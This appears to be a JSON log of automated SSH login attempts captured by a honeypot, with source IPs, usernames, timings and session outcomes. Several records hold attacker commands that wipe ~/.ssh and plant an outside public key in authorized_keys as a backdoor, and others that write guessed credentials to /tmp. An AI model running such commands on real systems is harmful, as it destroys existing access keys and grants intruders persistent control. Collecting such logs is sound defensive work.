  "id": "e6e2da4a-a3bb-4bb9-a83a-01921a56761b",
  "name": "blazing-restless-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 50302,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:01:20.078154+00:00",
  "ended_at": "2026-08-20T06:01:20.962347+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2000ece1-ded4-4fb0-b2ac-227f4ba3e7df",
  "name": "daring-calm-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 60340,
  "username": "odoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:59:28.087599+00:00",
  "ended_at": "2026-08-20T05:59:29.823799+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "681960de-b0a8-4e9d-83f6-1544e54d6a37",
  "name": "blazing-velvet-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 42144,
  "username": "ftpuser2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:57:28.900632+00:00",
  "ended_at": "2026-08-20T05:57:30.455144+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fce717c-0d9e-444a-9d34-45d5b0fadc88",
  "name": "brisk-keen-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 52186,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:55:33.906147+00:00",
  "ended_at": "2026-08-20T05:55:35.770354+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d0ffd88-e1d8-4ae7-b8a2-a7ff20342799",
  "name": "arctic-jolly-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 49438,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:54:54.516507+00:00",
  "ended_at": "2026-08-20T07:44:44+00:00",
  "ended_reason": "stale: no end frame",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0ec3a45-05d4-422c-91f4-d2d7a1772e46",
  "name": "electric-wistful-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 33986,
  "username": "share",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:53:39.523732+00:00",
  "ended_at": "2026-08-20T05:53:40.873798+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c88c478d-a2c0-4e67-b7f6-43d3e8e8e9b5",
  "name": "gentle-humble-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.148.121.204",
  "src_port": 53394,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo \"user User\" > /tmp/up.txt",
  "started_at": "2026-08-20T05:53:15.249621+00:00",
  "ended_at": "2026-08-20T05:53:15.308259+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "6395a5e9-ab18-432f-8e6a-fe513ebf0203",
  "name": "proud-hollow-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 37144,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:53:15.102850+00:00",
  "ended_at": "2026-08-20T05:53:15.238012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0e7a006-27c3-4297-aebc-2728c91f6828",
  "name": "brave-stoic-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 53406,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:53:06.446757+00:00",
  "ended_at": "2026-08-20T05:53:08.153460+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd1262e1-ce5f-498b-85bd-814caa00f041",
  "name": "idle-lunar-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 53396,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:53:05.619962+00:00",
  "ended_at": "2026-08-20T05:53:06.316083+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf1787e2-22d5-4365-a8f5-312f155f716a",
  "name": "chilly-ancient-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.61.23.196",
  "src_port": 13310,
  "username": "webdev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo \"webdev webdev123\" > /tmp/up.txt",
  "started_at": "2026-08-20T05:52:39.037808+00:00",
  "ended_at": "2026-08-20T05:52:39.615451+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "eed55c80-712e-4fd9-9926-7965b5a9a29c",
  "name": "rugged-autumn-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 21946,
  "username": "webdev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:52:38.372307+00:00",
  "ended_at": "2026-08-20T05:52:38.759327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb52cb1b-4c63-4dd3-b18d-c46d90a29f70",
  "name": "wistful-faded-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 3185,
  "username": "webdev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:52:14.833036+00:00",
  "ended_at": "2026-08-20T05:52:16.738049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2494cbf8-fa9a-464d-b4bc-f82e2e932c1a",
  "name": "autumn-arctic-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 17715,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:52:11.928719+00:00",
  "ended_at": "2026-08-20T05:52:13.226001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f36efdae-60ee-4b98-abc8-30f5893e3c8d",
  "name": "dapper-hidden-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 44022,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:51:37.566177+00:00",
  "ended_at": "2026-08-20T05:51:39.450136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55201d6c-52e0-4e1b-9293-3ba44f0bc34b",
  "name": "faded-sunlit-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 46146,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:51:01.222142+00:00",
  "ended_at": "2026-08-20T05:52:59.292227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2c22ee4-6823-4099-95cb-f0d5cbd3d0b2",
  "name": "lucid-curious-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 49836,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:50:54.639368+00:00",
  "ended_at": "2026-08-20T05:50:56.091492+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80c99d9e-021b-4255-9f88-6147b3698ed5",
  "name": "fierce-dusky-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 54064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:49:38.026095+00:00",
  "ended_at": "2026-08-20T05:49:39.003062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b602c7c0-9095-4cd5-a757-ab0b0fda50dd",
  "name": "idle-electric-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 19995,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:49:26.034546+00:00",
  "ended_at": "2026-08-20T05:49:27.113558+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46a6fb2d-c1e1-45d9-afed-391cf16b1937",
  "name": "graceful-amber-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 55588,
  "username": "mysql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:48:50.072410+00:00",
  "ended_at": "2026-08-20T05:48:51.344368+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "560ef1e2-8994-4ab9-aa42-509634b61bda",
  "name": "cobalt-daring-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 38518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:47:06.743561+00:00",
  "ended_at": "2026-08-20T05:47:08.480727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea1c18d2-3f6f-4e62-b8da-8115e47df661",
  "name": "noble-crimson-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 24984,
  "username": "vinod",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:46:48.199226+00:00",
  "ended_at": "2026-08-20T05:46:49.108289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02b18ae1-5a1d-4818-bae5-6eaddc9931f8",
  "name": "stoic-cosmic-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 30393,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:44:04.850318+00:00",
  "ended_at": "2026-08-20T05:44:06.856934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b240321-ad4d-4e2b-9fb9-e92480fd92b2",
  "name": "flinty-cosmic-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 36486,
  "username": "jimmy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:43:12.571706+00:00",
  "ended_at": "2026-08-20T05:45:10.210085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8435d8a2-f8fd-4fe3-9148-b78fdc36ae94",
  "name": "flinty-clever-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.75.247.232",
  "src_port": 37814,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:42:35.664554+00:00",
  "ended_at": "2026-08-20T05:42:36.348710+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab9979be-8f3b-457d-a658-e936bb567479",
  "name": "daring-noble-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.148.121.204",
  "src_port": 54334,
  "username": "alejandro",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:42:01.064877+00:00",
  "ended_at": "2026-08-20T05:42:02.705451+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c47d117-cf2e-4de8-9bb0-7443905cd458",
  "name": "humble-calm-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 18734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:41:25.101191+00:00",
  "ended_at": "2026-08-20T05:41:26.819804+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ece0ccb-0aa0-491e-985b-039df5f4d5c6",
  "name": "daring-fierce-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 41864,
  "username": "victor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:40:04.679042+00:00",
  "ended_at": "2026-08-20T05:40:06.609076+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7403ac17-2293-4817-823f-fee08ebb2ff8",
  "name": "velvet-humble-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 24531,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:38:43.018131+00:00",
  "ended_at": "2026-08-20T05:38:43.557182+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e79ad83-7ff9-48bf-b667-3007dcbefcaf",
  "name": "lucid-wistful-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 4116,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:38:40.769862+00:00",
  "ended_at": "2026-08-20T05:38:41.322104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73953dbd-9955-44fa-9589-cee774519661",
  "name": "blazing-solar-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.61.23.196",
  "src_port": 14215,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "started_at": "2026-08-20T05:38:38.824950+00:00",
  "ended_at": "2026-08-20T05:38:43.556581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "6f77c2db-1002-4fbf-af04-ea0dd4717c33",
  "name": "curious-early-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 49750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:37:32.262480+00:00",
  "ended_at": "2026-08-20T05:37:32.730817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52709b32-4c95-4e85-926b-203ea2993e8e",
  "name": "lucid-bold-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 49742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:37:30.584891+00:00",
  "ended_at": "2026-08-20T05:37:30.897117+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90658963-1401-497a-a0b6-8624d4e3788c",
  "name": "prickly-keen-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.91.120.219",
  "src_port": 60642,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "started_at": "2026-08-20T05:37:28.987010+00:00",
  "ended_at": "2026-08-20T05:37:32.731694+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "4d8f603a-e5dd-49f8-b552-7ca8b9235def",
  "name": "proud-curious-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 16673,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:36:01.041512+00:00",
  "ended_at": "2026-08-20T05:36:01.575327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cdd8462-0f53-4794-a643-17297ac15769",
  "name": "ancient-idle-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 22723,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:35:58.790047+00:00",
  "ended_at": "2026-08-20T05:35:59.338505+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66136215-2eec-4eed-a9c1-9054bebb9d44",
  "name": "dapper-prickly-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.61.23.196",
  "src_port": 28894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "started_at": "2026-08-20T05:35:56.803064+00:00",
  "ended_at": "2026-08-20T05:36:01.572467+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "23217392-8b93-4f3c-900a-ad9f65769f74",
  "name": "fierce-grumpy-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 36334,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:35:07.455010+00:00",
  "ended_at": "2026-08-20T05:35:07.810843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f941526-4444-44ee-b515-4c97485cbe87",
  "name": "blazing-keen-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 36318,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:35:05.670799+00:00",
  "ended_at": "2026-08-20T05:35:06.056524+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b1b23bc-99d3-4366-ae86-29083068749e",
  "name": "curious-dapper-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.91.120.219",
  "src_port": 36302,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
  "started_at": "2026-08-20T05:35:04.100364+00:00",
  "ended_at": "2026-08-20T05:35:07.810013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "c46e639b-fa40-4f77-9091-5e74c827ac87",
  "name": "ancient-arctic-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 26780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:33:11.442334+00:00",
  "ended_at": "2026-08-20T05:33:12.925171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7a758d4-9b89-4f09-a3ab-e20feae1b35a",
  "name": "jolly-calm-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.91.120.219",
  "src_port": 47752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:32:30.132473+00:00",
  "ended_at": "2026-08-20T05:32:31.174428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa7930de-77dc-42a4-9c3a-b888efcf2ed1",
  "name": "daring-proud-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.48.90.166",
  "src_port": 40364,
  "username": "dee",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:31:38.907854+00:00",
  "ended_at": "2026-08-20T05:33:35.361066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65c5a4df-166e-4759-aa63-4f17943dc99e",
  "name": "lucid-candid-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.61.23.196",
  "src_port": 23085,
  "username": "sumit",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:30:25.520452+00:00",
  "ended_at": "2026-08-20T05:30:27.567911+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 }
]